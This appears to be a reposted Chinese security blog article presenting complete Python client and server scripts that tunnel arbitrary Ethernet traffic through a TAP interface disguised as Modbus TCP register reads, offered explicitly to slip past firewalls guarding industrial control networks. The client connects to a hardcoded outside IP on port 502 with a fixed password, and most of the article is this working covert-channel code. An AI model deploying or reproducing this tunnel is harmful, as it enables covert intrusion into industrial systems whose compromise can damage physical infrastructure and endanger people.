暂无图片
暂无图片
暂无图片
暂无图片
暂无图片

ics渗透中你总会用到-穿透工业隔离网闸

谢公子学安全 2020-05-28
279

程序以python编写,可以透过Modbus TCP通讯协定传送任意以太网流量。它可以帮助安全研究人员顺利规避针对工业协议剥离类型的防火墙。

可以将任意流量传递到工业网络。对于防火墙,你的流量似乎是“读取、保持、注册”命令。

在防火墙“后”的系统上运行modbus-server.py。

防火墙“前”的网络上运行modbus-client.py。

注意:

执行的一切以太网命令的数据包,只能在每个modbus帧中压缩3个字节

所以,会增加穿透流量的150ms延迟,并且带宽不会很大。

所以尽量的去精简你的命令操作。


modbus-client.py

    from twisted.internet import reactor


    from twisted.internet.protocol import Factory, Protocol, ClientFactory
    #from twisted.internet.endpoints import TCP4ClientEndpoint
    from sys import stdout
    import modbus
    import sys
    import struct
    import threading
    from threading import Thread
    import time
    import os
    import fcntl
    import subprocess




    TUNSETIFF = 0x400454ca
    TUNSETOWNER = TUNSETIFF + 2
    IFF_TUN = 0x0001
    IFF_TAP = 0x0002
    IFF_NO_PI = 0x1000




    class modbusClient(Protocol):








    def connectionMade(self):
    self._tapBuff = ""
    self._mbDataToWrite = ""
    self._mbBuffLock = threading.Lock()
    self._tapBuffLock = threading.Lock()
    self._tapLock = threading.Lock()
    self._mbParseLock = threading.Lock()
    self._decoder = modbus.ModbusDecoder()
    print "sending login"
    self.sendMessage("login secret")
    #print "starting command thread"
    #self._commandThread = Thread(target = self.commandLoop, args = [])
    #self._commandThread.start()
    print "starting query thread"
    self._queryThread = Thread(target = self.pollLoop) # adjust accordingly
    self._queryThread.start()
    print "opening tap"
    self._tap = open('/dev/net/tun', 'w+b')
    self._ifr = struct.pack('16sH', 'tap1', IFF_TAP | IFF_NO_PI)
    fcntl.ioctl(self._tap, TUNSETIFF, self._ifr)
    # need to make the tap device nonblocking
    tapfd = self._tap.fileno()
    tapfl = fcntl.fcntl(tapfd, fcntl.F_GETFL)
    fcntl.fcntl(tapfd, fcntl.F_SETFL, tapfl | os.O_NONBLOCK)

    # Optionally, we want it be accessed by the normal user.
    fcntl.ioctl(self._tap, TUNSETOWNER, 1000)
    # subprocess.check_call('ifconfig tun0 192.168.7.1 pointopoint 192.168.7.2 up',
    subprocess.check_call('ifconfig tap1 192.168.7.2 netmask 255.255.255.0',
    shell=True)
    print "starting tap thread"
    self._tapThread = Thread(target = self.handle_tap, args = [])
    self._tapThread.start()





    def commandLoop(self):
    while True:
    try:
    mycommand = raw_input("cl> ")
    reactor.callFromThread(self.sendMessage, mycommand)
    except:
    print "Exiting command loop"
    exit(1)




    def handle_tap(self):
    while True:
    self._tapLock.acquire()
    try: # because it's nonblock, this will throw exception when no data is available
    packet = list(os.read(self._tap.fileno(), 2048))
    except:
    # todo: only catch the exceptions we want!
    packet = []
    if len(packet) > 0:
    self._mbBuffLock.acquire()
    for byte in packet:
    self._mbDataToWrite += byte
    self._mbBuffLock.release()
    self._tapLock.release()
    if self._tapBuff != "":
    print "tap out: ", self._tapBuff
    self._tapBuffLock.acquire()
    self._tapLock.acquire()
    os.write(self._tap.fileno(), self._tapBuff)
    self._tapBuff = ""
    self._tapLock.release()
    self._tapBuffLock.release()

    def tapLoop(self):
    # keep reading from the tap device
    packet = list(os.read(self._tap.fileno(), 2048))
    # put any packet data onto our _dataToWrite queue
    # need to keep a semaphore so that the poll loop is assured
    # to delete data from the dataToWrite
    this._tapBuffLock.acquire()
    this._mbDataToWrite.append(packet)
    this._tapBuffLock.release()





    def pollLoop(self, delay=0.1):
    print "poll loop starting up"
    while True:
    if self._mbDataToWrite != "":
    # send the data
    # Couldn't I just use the
    print "had modbus data to write, calling from main thread"
    self._mbBuffLock.acquire()
    reactor.callFromThread(self.sendMessage, self._mbDataToWrite)
    self._mbDataToWrite = ""
    self._mbBuffLock.release()
    else:
    # send a probe
    #print "sending poll"
    reactor.callFromThread(self.sendProbe)
    time.sleep(delay)




    def sendProbe(self):
    # generate a Modbus frame that means "probe!"
    packets = modbus.encodeModbus(tid = 0x00, fc = 0x3, db = "", probe = True)
    for packet in packets:
    self.transport.write(packet)




    def dataReceived(self, data):
    self._mbParseLock.acquire()
    if self._decoder.decodeModbus(data):
    #print "request complete"
    # Packet is now complete
    commandData = self._decoder.getReconstructedPacket()
    while commandData != None:
    self.dealWithData(commandData)#, data)
    commandData = self._decoder.getReconstructedPacket()
    else:
    # our _decoder's state will be updated with partial packet
    self._mbParseLock.release()
    return
    #self._mbDatabuff += data
    #print "waiting on more frames"
    self._mbParseLock.release()

    def dealWithData(self, commandData):#, rawdata):
    #packets = self._decoder.decodeAllPackets(rawdata)
    # we may have been dealing with command data
    if commandData != "\x00\x00\x01": # just a probe
    #print "got command?: ",
    #for byte in commandData:
    # print hex(ord(byte)),
    #print ""
    tlen = commandData.find('\x00')
    if tlen == -1:
    tlen = len(commandData)
    tcmd = commandData[0:tlen]
    if "help" == tcmd:
    print "sending help"
    self._mbBuffLock.acquire()
    self._mbDataToWrite += "help: not available :)"
    self._buffLock.release()
    elif "login success" in tcmd:
    print "succeeded login, continuing"
    else:
    print "bad command, may be data to send"
    #self._mbBuffLock.acquire()
    #self._mbDataToWrite += tcmd + ": invalid command"
    #self._mbBuffLock.release()
    # actual binary data, send to tap
    self._tapBuffLock.acquire()
    self._tapBuff += commandData
    self._tapBuffLock.release()
    #print "data added to queue"
    # should also clear buffer, non?
    else:
    # actual binary data, send to tap
    self._tapBuffLock.acquire()
    self._tapBuff += commandData
    self._tapBuffLock.release()









    def sendMessage(self, msg):
    #print "encrapsulating ", msg
    packets = modbus.encodeModbus(tid = 0x00, fc = 0x3, db = msg)

    for packet in packets:
    #print "sending: " + packet
    self.transport.write(packet)




    class modbusClientFactory(ClientFactory):
    protocol = modbusClient
    def sendMessage(self, data):
    self.protocol.sendMessage(data)

    def notThreadSafe(x):
    """do something that isn't thread-safe"""
    # ...
    print "I am in a thread"




    def threadSafeScheduler():
    """Run in thread-safe manner."""
    reactor.callFromThread(notThreadSafe, 3) # will run 'notThreadSafe(3)'
    # in the event loop




    def commandLoop():
    while True:
    command = input("> ")
    reactor.callInThread(f.sendMessage, command)

    # TODO make this connect to acttual hosts
    f = modbusClientFactory()
    reactor.connectTCP("66.228.57.244", 502, f)
    #reactor.callInThread(commandLoop)
    try:
    reactor.run()
    except:
    print "exception caught, exiting"
    exit(1)


    modbus-server.py 

      from twisted.internet import protocol, reactor
      import struct
      import modbus
      import fcntl
      import os
      import subprocess
      import threading




      TUNSETIFF = 0x400454ca
      TUNSETOWNER = TUNSETIFF + 2
      IFF_TUN = 0x0001
      IFF_TAP = 0x0002
      IFF_NO_PI = 0x1000




      class ModbusTunneler(protocol.Protocol):




      # this method runs in a thread and handles data from the _tap device
      # it sends data to the tap device and receives data from the tap device
      def handle_tap(self):
      while True:
      self._tapLock.acquire()
      try:
      packet = list(os.read(self._tap.fileno(), 2048))
      except:
      packet = []
      if len(packet) > 0:
      self._mbBuffLock.acquire()
      print "got tap data, sending via modbus"
      for byte in packet:
      self._mbDataToWrite += byte
      self._mbBuffLock.release()
      self._tapLock.release()
      self._tapBuffLock.acquire()
      if self._tapBuff!= "":
      print "handle_tap: putting data on wire: ", self._tapBuff
      self._tapLock.acquire()
      # maybe I don't have to callFromThread here? there shouldn't
      # be any contention over this device...
      os.write(self._tap.fileno(), self._tapBuff) #tapbuff is a string
      self._tapBuff = ""
      self._tapLock.release()
      self._tapBuffLock.release()

      def __init__(self, password):
      print "init"
      self._tapBuff = ""
      # tapbufflock is for the tap buffer (data to write to the tap interface)
      self._tapBuffLock = threading.Lock()
      # mbBuffLock is for the modbus buffer (data to write via Modbus)
      self._mbBuffLock = threading.Lock()
      # Trying to find an issue with a new packet coming in before the last packet
      # has finished processing...this may open a new thread?
      self._mbParseLock = threading.Lock()
      # Note that reading data from the tap and reading via modbus
      # do not require locks

      # not sure if we really need a taplock since it
      # should all run in one thread anyway
      self._tapLock = threading.Lock()
      self._decoder = modbus.ModbusDecoder()
      self._loggedIn = False
      self._password = password
      self._mbDataToWrite = ""
      self._databuff = ""
      print "opening tap"
      self._tap = open('/dev/net/tun', 'w+b')
      self._ifr = struct.pack('16sH', 'tap0', IFF_TAP | IFF_NO_PI)
      fcntl.ioctl(self._tap, TUNSETIFF, self._ifr)
      # need to make the tap device nonblocking
      tapfd = self._tap.fileno()
      tapfl = fcntl.fcntl(tapfd, fcntl.F_GETFL)
      fcntl.fcntl(tapfd, fcntl.F_SETFL, tapfl | os.O_NONBLOCK)




      # Optionally, we want it be accessed by the normal user.
      fcntl.ioctl(self._tap, TUNSETOWNER, 1000)
      # subprocess.check_call('ifconfig tun0 192.168.7.1 pointopoint 192.168.7.2 up',
      subprocess.check_call('ifconfig tap0 192.168.7.1 netmask 255.255.255.0',
      shell=True)
      self._mbDataToWrite = "ip 192.168.7.2 255.255.255.0"
      print "starting tap thread"
      self._tapThread = threading.Thread(target = self.handle_tap, args = [])
      self._tapThread.start()




      def verify_login(self, payload):
      print "Verifying login of ", payload
      print "--> Hex: ",
      for byte in payload:
      print hex(ord(byte))
      if ("login " + self._password) in payload:
      print "...verified!"
      self._mbDataToWrite = "login success"
      return True
      else:
      return False




      # is this thread-safe?? Can it be called from multiple threads??
      def dataReceived(self, data):
      self._mbParseLock.acquire()
      if self._decoder.decodeModbus(data):
      # modbus decoded at least one entire tap frame
      # so we should play with that frame
      #print "request complete"
      # Packet is now complete
      commandData = self._decoder.getReconstructedPacket()
      while commandData != None:
      # the packet will be the most recent one on the stack
      if self._loggedIn == False:
      if self.verify_login(commandData):
      self._loggedIn = True
      else:
      self.dealWithData(commandData)
      commandData = self._decoder.getReconstructedPacket()
      else:
      self._databuff += data
      #print "waiting on more frames"
      # really need to queue up reply packets in a more meaningful way
      # right now we'll just send them all out willy-nilly, would
      # be nice to make them blend in more
      self._mbParseLock.release()
      if self._mbDataToWrite != "":
      print "sending encrapsulated modbus packet back"
      # send as much of it as we can
      self.writeData()

      def dealWithData(self, commandData):
      #packets = self._decoder.decodeAllPackets(rawdata)
      # we may have been dealing with command data
      if commandData != "\x00\x00\x01": # just a probe
      print "got command?: ",
      for byte in commandData:
      print hex(ord(byte)),
      print ""
      tlen = commandData.find('\x00')
      if tlen == -1:
      tlen = len(commandData)
      tcmd = commandData[0:tlen]
      if "help" == tcmd:
      print "sending help"
      self._mbBuffLock.acquire()
      self._mbDataToWrite += "help: not available :)"
      self._mbBuffLock.release()
      else:
      print "bad command, may be data to send"
      #self._mbBuffLock.acquire()
      #self._mbDataToWrite += tcmd + ": invalid command"
      #self._mbBuffLock.release()
      # actual binary data, send to tap
      self._tapBuffLock.acquire()
      self._tapBuff += commandData
      self._tapBuffLock.release()
      print "data added to queue"
      # should also clear buffer, non?





      # Write as many bytes as we can of the data, then move our _dataToWrite
      # Need to fix this up so it looks more like responses to the queries
      # that are coming in (put in proper register ranges, etc, will slow it down)
      def writeData(self):
      self._mbBuffLock.acquire()
      packets = modbus.encodeModbus(tid = 0x0, fc = 0x3, db = self._mbDataToWrite)
      print "replying with", len(packets), "packets"
      for packet in packets:
      self.transport.write(packet)
      print "done sending", len(packets), "replies, zeroing out buffer"
      self._mbDataToWrite = ""
      self._mbBuffLock.release()




      class ModbusTunnelerFactory(protocol.Factory):
      def __init__(self, password):
      self._password = password
      def buildProtocol(self, addr):
      print "Got new client"
      return ModbusTunneler(self._password)




      reactor.listenTCP(502, ModbusTunnelerFactory("secret"))
      reactor.run()


      文章转载自谢公子学安全,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。

      评论